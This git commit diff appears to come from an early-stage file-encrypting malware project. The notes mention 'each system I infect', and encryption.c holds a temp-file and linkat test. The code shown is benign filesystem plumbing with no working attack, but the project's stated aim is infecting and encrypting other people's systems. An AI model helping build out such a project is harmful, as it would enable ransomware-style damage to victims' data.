Figure out how to link into the filesystem

2 files changed, 27 insertions, 35 deletions

diff --git a/notes.txt b/notes.txt
index 66af513..0227e6a 100644
--- a/notes.txt
+++ b/notes.txt
@@ -34,6 +34,10 @@ on each system I infect, so I still need something else
 mkstemp might be quite a useful function for doing the encrypting thing, but having a template name might be problematic. I may just
 have to rename everything before linking. Maybe linkat() would work
 
+libevent might be useful to slam everything together for async IO that I don't need to real with, but that also sounds like it would
+be a lot of work that I might not need to do. I'm going to do threadpooling first and then make a branch that uses libevent to see
+if there's any appreciable improvement in performance
+
 ============== LIST OF POTENTIALLY USEFUL GNU C FUNCTIONS ==============
     scandir()                   - Gets a list of files in a directory: https://www.gnu.org/software/libc/manual/html_node/Scanning-Directory-Content.html
     link()                      - Hardlinks one file to another location: https://www.gnu.org/software/libc/manual/html_node/Hard-Links.html
diff --git a/src/encryption.c b/src/encryption.c
index c7928d8..6da9603 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -35,48 +35,36 @@ int checkSodium(void) {
 // 5- Delete the temp file
 
 
-int maketmp(const char *dest, const char *format, ...) {
-    char *filename = NULL, *fullpath = NULL;
-    struct stat fb;
-    int fd = -1;
-    va_list ap;
-
-    // Make sure the destination exists and is a directory
-    if(stat(dest, &fb) < 0)
-        return -1;
-    if(!S_ISDIR(fb.st_mode))
-        return -2;
-
-    // Get the first half of the filename
-    va_start(ap, format);
-    if(vasprintf(&filename, format, ap) < 0)
-        return -3;
-    va_end(ap);
-
-    // Get the second half of the filename
-    int fps = asprintf(&fullpath, "%s%s", dest, filename); // Hack to not duplicate `free(filename)`
-    free(filename);
-    if(fps < 0)
-        return -4;
-
-    // Open the temp file
-    if((fd = open(dest, (O_WRONLY | O_CLOEXEC | O_CREAT | O_TMPFILE), S_IWUSR)) < 0)
-        fd = -5;
-
-    free(fullpath);
+int maketmp(const char *dest) {
+    int fd = open(dest, (O_TMPFILE | O_WRONLY | O_CLOEXEC | O_SYNC), (S_IRUSR | S_IWUSR));
+    if(fd < 0)
+        error(1, errno, "Couldn't open temp file at %s", dest);
+
     return fd;
 }
 
 
+#include <string.h>
 
-int main(int argc, char *argv[]) {
-    if(argc != 3)
-        error(1, 0, "USAGE: <dest> <filename>");
+int main(void) {
+    const char *testmsg = "we do a little testing\n";
 
+    int fd = maketmp(".");
 
-    int fd = maketmp(argv[1], "%s.test", argv[2]);
-    if(fd < 0)
-        error(1, errno, "Couldn't open temp file");
+    if(write(fd, testmsg, strlen(testmsg)) < 0)
+        error(1, errno, "write broke");
+
+    // if(linkat(fd, "", AT_FDCWD, "kys/now", AT_EMPTY_PATH) < 0)
+    //     error(1, errno, "linkat broke");
+
+    char *path = NULL;
+    asprintf(&path, "/proc/self/fd/%d", fd);
+    linkat(AT_FDCWD, path, AT_FDCWD, "./test", AT_SYMLINK_FOLLOW);
+
+    // Apparently, I don't have the CAP_DAC_READ_SEARCH capibility. Thanks for the solution, linux man pages
+
+    if(close(fd) < 0)
+        error(1, errno, "close broke");
 
     return 0;
 }
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